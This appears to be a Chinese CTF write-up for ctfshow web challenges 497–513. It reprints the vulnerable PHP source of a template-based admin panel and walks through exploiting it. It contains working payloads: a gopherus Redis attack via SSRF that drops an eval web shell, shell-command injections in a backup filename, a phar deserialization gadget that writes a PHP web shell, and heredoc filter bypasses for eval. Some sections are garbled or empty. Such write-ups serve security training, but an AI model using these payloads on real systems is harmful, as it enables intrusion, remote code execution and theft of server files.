<?php error_reporting (0 );class db { public $db ; public $log ; public $sql ; public $username ='root' ; public $password ='root' ; public $port ='3306' ; public $addr ='127.0.0.1' ; public $database ='ctfshow' ; public function __construct ( ) { $this ->log=new dbLog (); $this ->db=$this ->getConnection (); } public function getConnection ( ) { return new mysqli ($this ->addr,$this ->username,$this ->password,$this ->database); } public function select_one ($sql ) { $this ->sql=$sql ; $result =$this ->db->query ($sql ); if ($result ){ return $result ->fetch_object (); } } public function select_one_array ($sql ) { $this ->sql=$sql ; $conn = db::getConnection (); $result =$this ->db->query ($sql ); if ($result ){ return $result ->fetch_assoc (); } } public function update_one ($sql ) { $this ->sql=$sql ; $conn = db::getConnection (); $this ->db->query ($sql ); return $this ->db->affected_rows; } public function __destruct ( ) { $this ->log->log ($this ->sql); } } class dbLog { public $sql ; public $content ; public $log ; public function __construct ( ) { $this ->log='log/' .date_format (date_create (),"Y-m-d" ).'.txt' ; } public function log ($sql ) { $this ->content = $this ->content.date_format (date_create (),"Y-m-d-H-i-s" ).' ' .$sql .' \r\n' ; } public function __destruct ( ) { file_put_contents ($this ->log, $this ->content,FILE_APPEND); } }
render/render_class.php
<?php include ('file_class.php' );include ('cache_class.php' );class templateUtil { public static function render ($template ,$arg =array ( ) ) { $templateContent =fileUtil ::read ('templates/' .$template .'.php' ); $cache =templateUtil ::shade ($templateContent ,$arg ); echo $cache ; } public static function shade ($templateContent ,$arg =array ( ) ) { $templateContent =templateUtil ::checkImage ($templateContent ,$arg ); foreach ($arg as $key => $value ) { $templateContent =str_replace ('{{' .$key .'}}' , $value , $templateContent ); } return $templateContent ; } public static function checkImage ($templateContent ,$arg =array ( ) ) { foreach ($arg as $key => $value ) { if (stripos ($templateContent , '{{img:' .$key .'}}' )){ $encode ='' ; if (file_exists (__DIR__ .'/../cache/' .md5 ($value ))){ $encode =file_get_contents (__DIR__ .'/../cache/' .md5 ($value )); }else { $ch =curl_init ($value ); curl_setopt ($ch , CURLOPT_HEADER, 0 ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 ); $result =curl_exec ($ch ); curl_close ($ch ); $ret =chunk_split (base64_encode ($result )); $encode = 'data:image/jpg/png/gif;base64,' . $ret ; file_put_contents (__DIR__ .'/../cache/' .md5 ($value ), $encode ); } $templateContent =str_replace ('{{img:' .$key .'}}' , $encode , $templateContent ); } } return $templateContent ; } }
file_class.php
<?php error_reporting (0 );class fileUtil { public static function read ($filename ) { return file_get_contents ($filename ); } public static function write ($filename ,$content ,$append =0 ) { if ($append ){ file_put_contents ($filename , $content ,FILE_APPEND); }else { file_put_contents ($filename , $content ); } } }
cache_class.php
<?php class cache { public static function create_cache ($template ,$content ) { if (file_exists ('cache/' .md5 ($template ).'.html' )){ return true ; }else { fileUtil ::write ('cache/' .md5 ($template ).'.html' ,$content ); } } public static function get_cache ($template ) { return fileUtil ::read ('cache/' .md5 ($template ).'.html' ); } public static function cache_exists ($template ) { return file_exists ('cache/' .md5 ($template ).'.html' ); } }
api/admin_edit.php
<?php session_start ();include ('../render/db_class.php' );error_reporting (0 );$user = $_SESSION ['user' ];$ret = array ( "code" =>0 , "msg" =>"查询失败" , "count" =>0 , "data" =>array () ); if ($user ){ extract ($_POST ); $user = $_SESSION ['user' ]; if (preg_match ('/\'|\"|\\\/' , $avatar )){ $ret ['msg' ]='存在无效字符' ; die (json_encode ($ret )); } $sql = "update user set nickname='" .substr ($nickname , 0 ,8 )."',avatar='" .$avatar ."' where username='" .substr ($user ['username' ],0 ,8 )."'" ; $db =new db (); if ($db ->update_one ($sql )){ $_SESSION ['user' ]['nickname' ]=$nickname ; $_SESSION ['user' ]['avatar' ]=$avatar ; $ret ['msg' ]='管理员信息修改成功' ; }else { $ret ['msg' ]='管理员信息修改失败' ; } die (json_encode ($ret )); }else { $ret ['msg' ]='请登录后使用此功能' ; die (json_encode ($ret )); }
找到一个修改头像,试试ssrf
使用file协议读取文件
web498 这次发现flag文件读不成了,但是ssrf还在
我们使用
来探测一下本地端口
发现6379端口开着,试试ssrf打无密码redis
gopherus --exploit redis php <?php eval ($_POST ['zf' ]);?>
web499 这次多了一个settings.php
<?php session_start ();error_reporting (0 );$user = $_SESSION ['user' ];$ret = array ( "code" =>0 , "msg" =>"查询失败" , "count" =>0 , "data" =>array () ); if ($user ){ $config = unserialize (file_get_contents (__DIR__ .'/../config/settings.php' )); foreach ($_POST as $key => $value ) { $config [$key ]=$value ; } file_put_contents (__DIR__ .'/../config/settings.php' , serialize ($config )); $ret ['msg' ]='管理员信息修改成功' ; die (json_encode ($ret )); }else { $ret ['msg' ]='请登录后使用此功能' ; die (json_encode ($ret )); }
简单写个一句话,写到了’_DIR _.’/../config/settings.php
web500
这次多了一个数据库备份
找到一个备份地址
api/admin_db_backup.php
<?php session_start ();error_reporting (0 );$user = $_SESSION ['user' ];$ret = array ( "code" =>0 , "msg" =>"查询失败" , "count" =>0 , "data" =>array () ); if ($user ){ extract ($_POST ); shell_exec ('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > ' .__DIR__ .'/../backup/' .$db_path ); if (file_exists (__DIR__ .'/../backup/' .$db_path )){ $ret ['msg' ]='数据库备份成功' ; }else { $ret ['msg' ]='数据库备份失败' ; } die (json_encode ($ret )); }else { $ret ['msg' ]='请登录后使用此功能' ; die (json_encode ($ret )); }
命令执行
;cp /f* /var /www/html/zf.txt
web501 api/admin_db_backup.php
<?php session_start ();error_reporting (0 );$user = $_SESSION ['user' ];$ret = array ( "code" =>0 , "msg" =>"查询失败" , "count" =>0 , "data" =>array () ); if ($user ){ extract ($_POST ); if (preg_match ('/^zip|tar|sql$/' , $db_format )){ shell_exec ('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > ' .__DIR__ .'/../backup/' .date_format (date_create (),'Y-m-d' ).'.' .$db_format ); if (file_exists (__DIR__ .'/../backup/' .date_format (date_create (),'Y-m-d' ).'.' .$db_format )){ $ret ['msg' ]='数据库备份成功' ; }else { $ret ['msg' ]='数据库备份失败' ; } }else { $ret ['msg' ]='数据库备份失败' ; } die (json_encode ($ret )); }else { $ret ['msg' ]='请登录后使用此功能' ; die (json_encode ($ret )); }
db_format=tar; cp /f* /var /www/html/zf.txt
web502 <?php session_start ();include ('../render/db_class.php' );error_reporting (0 );$user = $_SESSION ['user' ];$pre =__DIR__ .'/../backup/' .date_format (date_create (),'Y-m-d' ).'/db.' ;$ret = array ( "code" =>0 , "msg" =>"查询失败" , "count" =>0 , "data" =>array () ); if ($user ){ extract ($_POST ); if (file_exists ($pre .$db_format )){ $ret ['msg' ]='数据库备份成功' ; die (json_encode ($ret )); } if (preg_match ('/^(zip|tar|sql)$/' , $db_format )){ shell_exec ('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > ' .$pre .$db_format ); if (file_exists ($pre .$db_format )){ $ret ['msg' ]='数据库备份成功' ; }else { $ret ['msg' ]='数据库备份失败' ; } }else { $ret ['msg' ]='数据库备份失败' ; } die (json_encode ($ret )); }else { $ret ['msg' ]='请登录后使用此功能' ; die (json_encode ($ret )); }
这不是顾头不顾腚吗
l; cp /f* /var /www/html/zf.txt;
web503 <?php session_start ();include ('../render/db_class.php' );error_reporting (0 );$user = $_SESSION ['user' ];$pre =__DIR__ .'/../backup/' .date_format (date_create (),'Y-m-d' ).'/db.' ;$ret = array ( "code" =>0 , "msg" =>"查询失败" , "count" =>0 , "data" =>array () ); if ($user ){ extract ($_POST ); if (file_exists ($pre .$db_format )){ $ret ['msg' ]='数据库备份成功' ; die (json_encode ($ret )); } if (preg_match ('/^(zip|tar|sql)$/' , $db_format )){ shell_exec ('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > ' .md5 ($pre .$db_format )); if (file_exists ($pre .$db_format )){ $ret ['msg' ]='数据库备份成功' ; }else { $ret ['msg' ]='数据库备份失败' ; } }else { $ret ['msg' ]='数据库备份失败' ; } die (json_encode ($ret )); }else { $ret ['msg' ]='请登录后使用此功能' ; die (json_encode ($ret )); }
又找到一个好东西
<?php session_start ();error_reporting (0 );$user = $_SESSION ['user' ];$ret = array ( "code" =>0 , "msg" =>"查询失败" , "count" =>0 , "data" =>array () ); if ($user ){ $arr = $_FILES ["file" ]; if (($arr ["type" ]=="image/jpeg" || $arr ["type" ]=="image/png" ) && $arr ["size" ]<10241000 ) { $arr ["tmp_name" ]; $filename = md5 ($arr ['name' ]); $ext = pathinfo ($arr ['name' ],PATHINFO_EXTENSION); if (!preg_match ('/^php$/i' , $ext )){ $basename = "../img/" .$filename .'.' . $ext ; move_uploaded_file ($arr ["tmp_name" ],$basename ); $config = unserialize (file_get_contents (__DIR__ .'/../config/settings' )); $config ['logo' ]=$filename .'.' . $ext ; file_put_contents (__DIR__ .'/../config/settings' , serialize ($config )); $ret ['msg' ]='文件上传成功' ; } }else { $ret ['msg' ]='文件上传失败' ; } die (json_encode ($ret )); }else { $ret ['msg' ]='请登录后使用此功能' ; die (json_encode ($ret )); }
这不是来了吗,有一个file_exists($pre.$db_format),还有文件上传.并且这里面的参数还可控
<?php class dbLog { public $sql ; public $content ='<?php @eval($_POST[zf]);?>' ; public $log ="./zf.php" ; public function __destruct ( ) { file_put_contents ($this ->log, $this ->content,FILE_APPEND); } } $final = new dbLog ();@unlink ('zf.phar' ); $phar =new Phar ('zf.phar' );$phar ->startBuffering ();$phar ->setStub ('<?php __HALT_COMPILER(); ?>' );$phar ->setMetadata ($final );$phar ->addFromString ("zf.txt" ,"test" );$phar ->stopBuffering ();?>
db_format=img/ee6d68225691981a53cadf2f11b187a7.jpg&pre=phar:
记住使用phar://协议哦
web504
这里也是搜到一个模板php,但是这里读取不了源码了
我们查看一下抓个包试试
可以看到这里访问的index.sml文件.我们试试有没有文件遍历
可见查询失败
下载这里也是一样
新增模板呢
上传成功.我们试试.php文件
/api/admin_settings.php
<?php session_start ();error_reporting (0 );$user = $_SESSION ['user' ];$ret = array ( "code" =>0 , "msg" =>"查询失败" , "count" =>0 , "data" =>array () ); if ($user ){ $config = unserialize (file_get_contents (__DIR__ .'/../config/settings' )); foreach ($_POST as $key => $value ) { $config [$key ]=$value ; } file_put_contents (__DIR__ .'/../config/settings' , serialize ($config )); $ret ['msg' ]='管理员信息修改成功' ; die (json_encode ($ret )); }else { $ret ['msg' ]='请登录后使用此功能' ; die (json_encode ($ret )); }
复习一个这个文件
<?php class dbLog { public $sql ; public $content ='<?php @eval($_POST[zf]);?>' ; public $log ="./zf.php" ; public function __destruct ( ) { file_put_contents ($this ->log, $this ->content,FILE_APPEND); } } $final = new dbLog ();echo ';user=' .urlencode (serialize ($final ));
可见已经反序列化了
web505
这次发现又多了一个文件查看
发现可以看到源码.我们看下新加的文件
api/admin_file_view.php
<?php session_start ();error_reporting (0 );$user = $_SESSION ['user' ];$ret = array ( "code" =>0 , "msg" =>"查询失败" , "count" =>0 , "data" =>array () ); if ($user ){ extract ($_POST ); if ($debug ==1 && preg_match ('/^user/' , file_get_contents ($f ))){ include ($f ); }else { $ret ['data' ]=array ('contents' =>file_get_contents (__DIR__ .'/../' .$name )); } $ret ['msg' ]='查看成功' ; die (json_encode ($ret )); }else { $ret ['msg' ]='请登录后使用此功能' ; die (json_encode ($ret )); }
先传一个文件上去
web506 api/admin_file_view.php
<?php session_start ();error_reporting (0 );$user = $_SESSION ['user' ];$ret = array ( "code" =>0 , "msg" =>"查询失败" , "count" =>0 , "data" =>array () ); if ($user ){ extract ($_POST ); $ext = substr ($f , strlen ($f )-3 ,3 ); if (preg_match ('/php|sml|phar/i' , $ext )){ $ret ['msg' ]='请不要使用此功能' ; die (json_encode ($ret )); } if ($debug ==1 && preg_match ('/^user/' , file_get_contents ($f ))){ include ($f ); }else { $ret ['data' ]=array ('contents' =>file_get_contents (__DIR__ .'/../' .$name )); } $ret ['msg' ]='查看成功' ; die (json_encode ($ret )); }else { $ret ['msg' ]='请登录后使用此功能' ; die (json_encode ($ret )); }
web507 api/admin_file_view.php
<?php session_start ();error_reporting (0 );$user = $_SESSION ['user' ];$ret = array ( "code" =>0 , "msg" =>"查询失败" , "count" =>0 , "data" =>array () ); if ($user ){ extract ($_POST ); $ext = substr ($f , strlen ($f )-3 ,3 ); if (preg_match ('/php|sml|phar/i' , $ext )){ $ret ['msg' ]='请不要使用此功能' ; die (json_encode ($ret )); } if ($debug ==1 && preg_match ('/^user/' , file_get_contents ($f ))){ include ($f ); }else { $ret ['data' ]=array ('contents' =>file_get_contents (__DIR__ .'/../' .$name )); } $ret ['msg' ]='查看成功' ; die (json_encode ($ret )); }else { $ret ['msg' ]='请登录后使用此功能' ; die (json_encode ($ret )); }
api/admin_templates.php
<?php session_start ();include ('../render/db_class.php' );error_reporting (0 );$user = $_SESSION ['user' ];$ret = array ( "code" =>0 , "msg" =>"查询失败" , "count" =>0 , "data" =>array () ); $action =$_GET ['action' ];if (!isset ($user )){ $ret ['msg' ]='请登录后使用此功能' ; die (json_encode ($ret )); } switch ($action ) { case 'list' : $sql = "select id,name,type,path,des from templates limit 0,10" ; $db =new db (); $temps = $db ->select_array ($sql ); if (count ($temps )>0 ){ $ret ['count' ]=count ($temps ); $ret ['data' ]=$temps ; $ret ['msg' ]='查询成功' ; } break ; case 'update' : extract ($_POST ); $row =json_decode ($row ); if (waf ($row )){ break ; } $sql ="update templates set name='{$row->name} ',path='{$row->path} ',type='{$row->type} ',des='{$row->des} ' where id ={$row->id} " ; $db = new db (); if ($db ->update_one ($sql )){ $ret ['msg' ]='实时更新成功' ; }else { $ret ['msg' ]='实时更新失败' ; } break ; case 'getContents' : extract ($_POST ); $template =json_decode ($template ); if (preg_match ('/^(?!_)(?!.*?_$)[a-zA-Z0-9_]+$/' , $template ->path)){ $ret ['count' ]=1 ; $ret ['msg' ]='查询成功' ; $ret ['data' ]=array ('contents' =>htmlspecialchars (file_get_contents (__DIR__ .'/../templates/' .$template ->path))); } break ; case 'download' : extract ($_POST ); if (preg_match ('/^(?!_)(?!.*?_$)[a-zA-Z0-9_]+$/' , $path )){ header ("Content-Type: application/octet-stream" ); header ('Content-Disposition: attachment; filename="' . $path . '"' ); echo file_get_contents (__DIR__ .'/../templates/' .$path ); exit (); } break ; case 'upload' : extract ($_POST ); if (!preg_match ('/php|phar|ini|settings/i' , $name )) { if (preg_match ('/<|>|\?|php|=|script|,|;|\(/i' , $content )){ $ret ['msg' ]='文件上传失败' ; }else { file_put_contents (__DIR__ .'/../templates/' .$name , $content ); $ret ['msg' ]='文件上传成功' ; } }else { $ret ['msg' ]='文件上传失败' ; } break ; default : break ; } function waf ($row ) { $ret = false ; if (!preg_match ('/^(?!_)(?!.*?_$)[a-zA-Z0-9_]+$/' , $row ->name)){ $ret =true ; } if (!preg_match ('/^(?!_)(?!.*?_$)[a-zA-Z0-9_]+$/' , $row ->type)){ $ret =true ; } if (!preg_match ('/^(?!_)(?!.*?_$)[a-zA-Z0-9_]+$/' , $row ->des)){ $ret =true ; } if (!preg_match ('/^(?!_)(?!.*?_$)[a-zA-Z0-9_]+$/' , $row ->path)){ $ret =true ; } if (!preg_match ('/^(?!_)(?!.*?_$)[a-zA-Z0-9_]+$/' , $row ->id)){ $ret =true ; } return $ret ; } die (json_encode ($ret ));
这次对文件上传进行了过滤
从这里传
web508 api/admin_edit.php
<?php session_start ();include ('../render/db_class.php' );error_reporting (0 );$user = $_SESSION ['user' ];$ret = array ( "code" =>0 , "msg" =>"查询失败" , "count" =>0 , "data" =>array () ); if ($user ){ extract ($_POST ); if (preg_match ('/\'|\"|\\\/' , $avatar )){ $ret ['msg' ]='存在无效字符' ; die (json_encode ($ret )); } $sql = "update user set nickname='" .substr ($nickname , 0 ,8 )."',avatar='" .$avatar ."' where username='" .substr ($user ['username' ],0 ,8 )."'" ; $db =new db (); if ($db ->update_one ($sql )){ $_SESSION ['user' ]['nickname' ]=$nickname ; $_SESSION ['user' ]['avatar' ]=$avatar ; $ret ['msg' ]='管理员信息修改成功' ; }else { $ret ['msg' ]='管理员信息修改失败' ; } die (json_encode ($ret )); }else { $ret ['msg' ]='请登录后使用此功能' ; die (json_encode ($ret )); }
可见这里并没有将图片放到本地,而是放到了session里面
web509
web510
web511 /index.php
<?php session_start ();include ('render/render_class.php' );include ('render/db_class.php' );$action =$_GET ['action' ];if (!isset ($action )){ if (isset ($_COOKIE ['user' ])){ $c =$_COOKIE ['user' ]; if (!preg_match ('/\:|\,/' , $c )){ $user =unserialize ($c ); } if ($user ){ templateUtil ::render ('index' ); }else { header ('location:index.php?action=login' ); } }else { header ('location:index.php?action=login' ); } die (); } switch ($action ) { case 'check' : extract ($_POST ); if (!preg_match ('/file|or|innodb|sys|mysql/i' , $username )){ $sql = "select username,nickname,avatar from user where username = '" .$username ."' and password='" .md5 ($password )."' order by id limit 1" ; $db =new db (); $user =$db ->select_one_array ($sql ); } if ($user ){ $_SESSION ['user' ]=$user ; header ('location:index.php?action=index' ); }else { templateUtil ::render ('error' ); } break ; case 'clear' : system ('rm -rf cache/*' ); die ('cache clear' ); break ; case 'login' : templateUtil ::render ($action ); break ; case 'index' : $user =$_SESSION ['user' ]; if ($user ){ templateUtil ::render ('index' ,$user ); }else { header ('location:index.php?action=login' ); } break ; case 'view' : $user =$_SESSION ['user' ]; if ($user ){ templateUtil ::render ($_GET ['page' ],$user ); }else { header ('location:index.php?action=login' ); } break ; case 'logout' : session_destroy (); header ('location:index.php?action=login' ); break ; default : templateUtil ::render ($action ); break ; }
api/admin_templates.php
<?php session_start ();include ('../render/db_class.php' );error_reporting (0 );$user = $_SESSION ['user' ];$ret = array ( "code" =>0 , "msg" =>"查询失败" , "count" =>0 , "data" =>array () ); $action =$_GET ['action' ];if (!isset ($user )){ $ret ['msg' ]='请登录后使用此功能' ; die (json_encode ($ret )); } switch ($action ) { case 'list' : $sql = "select id,name,type,path,des from templates limit 0,10" ; $db =new db (); $temps = $db ->select_array ($sql ); if (count ($temps )>0 ){ $ret ['count' ]=count ($temps ); $ret ['data' ]=$temps ; $ret ['msg' ]='查询成功' ; } break ; case 'update' : extract ($_POST ); $row =json_decode ($row ); if (waf ($row )){ break ; } $sql ="update templates set name='{$row->name} ',path='{$row->path} ',type='{$row->type} ',des='{$row->des} ' where id ={$row->id} " ; $db = new db (); if ($db ->update_one ($sql )){ $ret ['msg' ]='实时更新成功' ; }else { $ret ['msg' ]='实时更新失败' ; } break ; case 'getContents' : extract ($_POST ); $template =json_decode ($template ); if (preg_match ('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\/\\u4e00-\u9fa5]+$/' , $template ->path)){ $ret ['count' ]=1 ; $ret ['msg' ]='查询成功' ; $ret ['data' ]=array ('contents' =>htmlspecialchars (file_get_contents (__DIR__ .'/../templates/' .$template ->path))); } break ; case 'download' : extract ($_POST ); if (preg_match ('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\/\u4e00-\u9fa5]+$/' , $path )){ header ("Content-Type: application/octet-stream" ); header ('Content-Disposition: attachment; filename="' . $path . '"' ); echo file_get_contents (__DIR__ .'/../templates/' .$path ); exit (); } break ; case 'upload' : extract ($_POST ); if (!preg_match ('/php|phar|ini|settings/i' , $name )) { if (preg_match ('/<|>|\?|php|=|script|,|;|\(/i' , $content )){ $ret ['msg' ]='文件上传失败' ; }else { file_put_contents (__DIR__ .'/../templates/' .$name , $content ); $ret ['msg' ]='文件上传成功' ; } }else { $ret ['msg' ]='文件上传失败' ; } break ; default : break ; } function waf ($row ) { $ret = false ; if (!preg_match ('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/' , $row ->name)){ $ret =true ; } if (!preg_match ('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/' , $row ->type)){ $ret =true ; } if (!preg_match ('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/' , $row ->des)){ $ret =true ; } if (!preg_match ('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/' , $row ->path)){ $ret =true ; } if (!preg_match ('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/' , $row ->id)){ $ret =true ; } return $ret ; } die (json_encode ($ret ));
api/admin_edit.php
<?php session_start ();include ('../render/db_class.php' );error_reporting (0 );$user = $_SESSION ['user' ];$ret = array ( "code" =>0 , "msg" =>"查询失败" , "count" =>0 , "data" =>array () ); if ($user ){ extract ($_POST ); if (preg_match ('/\'|\"|\\\/' , $avatar )){ $ret ['msg' ]='存在无效字符' ; die (json_encode ($ret )); } $sql = "update user set nickname='" .substr ($nickname , 0 ,8 )."',avatar='" .$avatar ."' where username='" .substr ($user ['username' ],0 ,8 )."'" ; $db =new db (); if ($db ->update_one ($sql )){ $_SESSION ['user' ]['nickname' ]=$nickname ; $_SESSION ['user' ]['avatar' ]=$avatar ; $ret ['msg' ]='管理员信息修改成功' ; }else { $ret ['msg' ]='管理员信息修改失败' ; } die (json_encode ($ret )); }else { $ret ['msg' ]='请登录后使用此功能' ; die (json_encode ($ret )); }
api/admin_file_view.php
<?php session_start ();error_reporting (0 );$user = $_SESSION ['user' ];$ret = array ( "code" =>0 , "msg" =>"查询失败" , "count" =>0 , "data" =>array () ); if ($user ){ extract ($_POST ); if (preg_match ('/php|sml|phar|\:|data|file|sess/i' , $f )){ $ret ['msg' ]='请不要使用此功能' ; die (json_encode ($ret )); } if ($debug ==1 && preg_match ('/^user/' , file_get_contents ($f ))){ include ($f ); }else { $ret ['data' ]=array ('contents' =>file_get_contents (__DIR__ .'/../' .$name )); } $ret ['msg' ]='查看成功' ; die (json_encode ($ret )); }else { $ret ['msg' ]='请登录后使用此功能' ; die (json_encode ($ret )); }
render/render_class.php
<?php include ('file_class.php' );include ('cache_class.php' );class templateUtil { public static function render ($template ,$arg =array ( ) ) { $templateContent =fileUtil ::read ('templates/' .$template .'.sml' ); $cache =templateUtil ::shade ($templateContent ,$arg ); echo $cache ; } public static function shade ($templateContent ,$arg =array ( ) ) { $templateContent =templateUtil ::checkImage ($templateContent ,$arg ); $templateContent =templateUtil ::checkConfig ($templateContent ); $templateContent =templateUtil ::checkVar ($templateContent ,$arg ); foreach ($arg as $key => $value ) { $templateContent =str_replace ('{{' .$key .'}}' , $value , $templateContent ); } return $templateContent ; } public static function checkImage ($templateContent ,$arg =array ( ) ) { foreach ($arg as $key => $value ) { if (preg_match ('/gopher|file/i' , $value )){ $templateContent =str_replace ('{{img:' .$key .'}}' , '' , $templateContent ); } if (stripos ($templateContent , '{{img:' .$key .'}}' )){ $encode ='' ; if (file_exists (__DIR__ .'/../cache/' .md5 ($value ))){ $encode =file_get_contents (__DIR__ .'/../cache/' .md5 ($value )); }else { $ch =curl_init ($value ); curl_setopt ($ch , CURLOPT_HEADER, 0 ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 ); $result =curl_exec ($ch ); curl_close ($ch ); $ret =chunk_split (base64_encode ($result )); $encode = 'data:image/jpg/png/gif;base64,' . $ret ; file_put_contents (__DIR__ .'/../cache/' .md5 ($value ), $encode ); } $templateContent =str_replace ('{{img:' .$key .'}}' , $encode , $templateContent ); } } return $templateContent ; } public static function checkConfig ($templateContent ) { $config = unserialize (file_get_contents (__DIR__ .'/../config/settings' )); foreach ($config as $key => $value ) { if (stripos ($templateContent , '{{config:' .$key .'}}' )){ $templateContent =str_replace ('{{config:' .$key .'}}' , $value , $templateContent ); } } return $templateContent ; } public static function checkVar ($templateContent ,$arg ) { foreach ($arg as $key => $value ) { if (stripos ($templateContent , '{{var:' .$key .'}}' )){ eval ('$v=' .$value .';' ); $templateContent =str_replace ('{{var:' .$key .'}}' , $v , $templateContent ); } } return $templateContent ; } }
这次得分析别的文件了在render/render_class.php下面找到一个eval(),我们看看参数可不可控
shade调用了checkvar()
render调用了shade(),先读取了这个模板文件
这个render总共有六处调用其中有两处传了arg参数,这里当然只有传参的才能利用,其他的就不看了
要想利用,只能去更改$user这个数组里面的值,那么我们去搜索哪里可以更改$_SESSION[‘user’]的值
发现在admin_deit.php存在
这里的avatar仅仅过滤了几个字符简单可以绕过
先改一下
接着index访问这个
接着读取文件
到这里我们还需要一个可以存在这里的{{var:'.$key.'}}
也就是{{var:'.$key.'}}
,我们之间上传一个就好了啊{{var:nickname}}
这里要注意stripos()函数,如果在第一位的话就执行不了了
web512 render/render_class.php
<?php include ('file_class.php' );include ('cache_class.php' );class templateUtil { public static function render ($template ,$arg =array ( ) ) { $templateContent =fileUtil ::read ('templates/' .$template .'.sml' ); $cache =templateUtil ::shade ($templateContent ,$arg ); echo $cache ; } public static function shade ($templateContent ,$arg =array ( ) ) { $templateContent =templateUtil ::checkImage ($templateContent ,$arg ); $templateContent =templateUtil ::checkConfig ($templateContent ); $templateContent =templateUtil ::checkVar ($templateContent ,$arg ); foreach ($arg as $key => $value ) { $templateContent =str_replace ('{{' .$key .'}}' , $value , $templateContent ); } return $templateContent ; } public static function checkImage ($templateContent ,$arg =array ( ) ) { foreach ($arg as $key => $value ) { if (preg_match ('/gopher|file/i' , $value )){ $templateContent =str_replace ('{{img:' .$key .'}}' , '' , $templateContent ); } if (stripos ($templateContent , '{{img:' .$key .'}}' )){ $encode ='' ; if (file_exists (__DIR__ .'/../cache/' .md5 ($value ))){ $encode =file_get_contents (__DIR__ .'/../cache/' .md5 ($value )); }else { $ch =curl_init ($value ); curl_setopt ($ch , CURLOPT_HEADER, 0 ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 ); $result =curl_exec ($ch ); curl_close ($ch ); $ret =chunk_split (base64_encode ($result )); $encode = 'data:image/jpg/png/gif;base64,' . $ret ; file_put_contents (__DIR__ .'/../cache/' .md5 ($value ), $encode ); } $templateContent =str_replace ('{{img:' .$key .'}}' , $encode , $templateContent ); } } return $templateContent ; } public static function checkConfig ($templateContent ) { $config = unserialize (file_get_contents (__DIR__ .'/../config/settings' )); foreach ($config as $key => $value ) { if (stripos ($templateContent , '{{config:' .$key .'}}' )){ $templateContent =str_replace ('{{config:' .$key .'}}' , $value , $templateContent ); } } return $templateContent ; } public static function checkVar ($templateContent ,$arg ) { $db =new db (); foreach ($arg as $key => $value ) { if (stripos ($templateContent , '{{var:' .$key .'}}' )){ if (!preg_match ('/\(|\[|\`|\'|\"|\+|nginx|\)|\]|include|data|text|filter|input|file|require|GET|POST|COOKIE|SESSION|file/i' , $value )){ eval ('$v=' .$value .';' ); $templateContent =str_replace ('{{var:' .$key .'}}' , $v , $templateContent ); } } } return $templateContent ; } }
这里要进行拼接
db_class.php
<?php error_reporting (0 );class db { public $db ; public $log ; public $sql ; public $username ='root' ; public $password ='root' ; public $port ='3306' ; public $addr ='127.0.0.1' ; public $database ='ctfshow' ; public function __construct ( ) { $this ->log=new dbLog (); $this ->db=$this ->getConnection (); } public function getConnection ( ) { return new mysqli ($this ->addr,$this ->username,$this ->password,$this ->database); } public function select_one ($sql ) { $this ->sql=$sql ; $result =$this ->db->query ($sql ); if ($result ){ return $result ->fetch_object (); } } public function select_one_array ($sql ) { $this ->sql=$sql ; $conn = db::getConnection (); $result =$this ->db->query ($sql ); if ($result ){ return $result ->fetch_assoc (); } } public function update_one ($sql ) { $this ->sql=$sql ; $conn = db::getConnection (); $this ->db->query ($sql ); return $this ->db->affected_rows; } public function __destruct ( ) { $this ->log->log ($this ->sql); } } class dbLog { public $sql ; public $content ; public $log ; public function __construct ( ) { $this ->log='log/' .date_format (date_create (),"Y-m-d" ).'.txt' ; } public function log ($sql ) { $this ->content = $this ->content.date_format (date_create (),"Y-m-d-H-i-s" ).' ' .$sql .' \r\n' ; } public function __destruct ( ) { file_put_contents ($this ->log, $this ->content,FILE_APPEND); } }
因为过滤掉了()所以采用include
1 ;$a = <<<ctfshow <?php includ ctfshow ;$b = <<<ctfshow e $ ctfshow ;$v1 = <<<ctfshow _POS ctfshow ;$c = <<< ctfshow T{1}?> ctfshow ;$d = <<<ctfshow 1.php ctfshow ;$e = clone $db ;$db ->log->log = $d ;$db ->log->content = $a .$b .$v1 .$c ;
1 ;$a =<<<ctfshow <?php includ ctfshow ;$b =<<<ctfshow e $ ctfshow ;$v1 =<<<ctfshow _POS ctfshow ;$c =<<<ctfshow T{1}?> ctfshow ;$d =<<<ctfshow 2.php ctfshow ;$e =clone $db ;$db ->log->log=$d ;$db ->log->content=$a .$b .$v1 .$c ;
记得抓包改
web513 render/render_class.php
<?php include ('file_class.php' );include ('cache_class.php' );class templateUtil { public static function render ($template ,$arg =array ( ) ) { $templateContent =fileUtil ::read ('templates/' .$template .'.sml' ); $cache =templateUtil ::shade ($templateContent ,$arg ); echo $cache ; } public static function shade ($templateContent ,$arg =array ( ) ) { $templateContent =templateUtil ::checkImage ($templateContent ,$arg ); $templateContent =templateUtil ::checkConfig ($templateContent ); $templateContent =templateUtil ::checkVar ($templateContent ,$arg ); $templateContent =templateUtil ::checkFoot ($templateContent ); foreach ($arg as $key => $value ) { $templateContent =str_replace ('{{' .$key .'}}' , $value , $templateContent ); } return $templateContent ; } public static function checkImage ($templateContent ,$arg =array ( ) ) { foreach ($arg as $key => $value ) { if (preg_match ('/gopher|file/i' , $value )){ $templateContent =str_replace ('{{img:' .$key .'}}' , '' , $templateContent ); } if (stripos ($templateContent , '{{img:' .$key .'}}' )){ $encode ='' ; if (file_exists (__DIR__ .'/../cache/' .md5 ($value ))){ $encode =file_get_contents (__DIR__ .'/../cache/' .md5 ($value )); }else { $ch =curl_init ($value ); curl_setopt ($ch , CURLOPT_HEADER, 0 ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 ); $result =curl_exec ($ch ); curl_close ($ch ); $ret =chunk_split (base64_encode ($result )); $encode = 'data:image/jpg/png/gif;base64,' . $ret ; file_put_contents (__DIR__ 